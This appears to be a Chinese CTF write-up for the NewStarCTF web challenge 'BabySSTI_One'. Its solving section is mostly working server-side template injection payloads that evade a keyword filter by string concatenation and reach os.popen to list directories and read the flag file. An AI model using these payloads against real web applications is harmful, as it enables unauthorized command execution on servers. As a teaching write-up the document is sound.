文章总结: 本文档为NewStarCTF公开赛赛道BabySSTI_One题目的解题思路,属于Web安全中的SSTI漏洞利用。文章详细展示了如何通过字符串拼接绕过WAF过滤,利用Python对象链获取os模块并执行系统命令,最终读取flag的完整过程。核心结论是掌握SSTI漏洞利用技巧及绕过过滤方法,可操作建议是熟悉Python对象链和命令执行绕过技巧。
综合评分: 75
文章分类: CTF,WEB安全,漏洞分析,渗透测试
[NewStarCTF 公开赛赛道]BabySSTI_One
原创
devildollking
devildollking
熔城Sec
2026年9月21日 09:00
辽宁
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
01
题目简介
- 题目名称:[NewStarCTF 公开赛赛道]BabySSTI_One
- 题目平台:CTF²
- 题目类型:Web
02
解题步骤
启动靶机
查看网页源代码,发现存在waf
判断是否存在ssti
?name={{().__class__}}
发现被过滤,使用拼接绕过
?name={{()['__cla'+'ss__']}}
通过相同的方法获取object
?name={{()['__cla'+'ss__']['__ba'+'se__']}}
#
获取所有子类
?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()}}
查找
执行ls命令
?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('ls${IFS}/')['read']()}}
因为cat 和 flag被过滤,所以进行替换,cat换成tail,/flag_in_here换成fla*
?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('tail /fla* ')['read']()}}
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:熔城Sec devildollking
devildollking《[NewStarCTF 公开赛赛道]BabySSTI_One》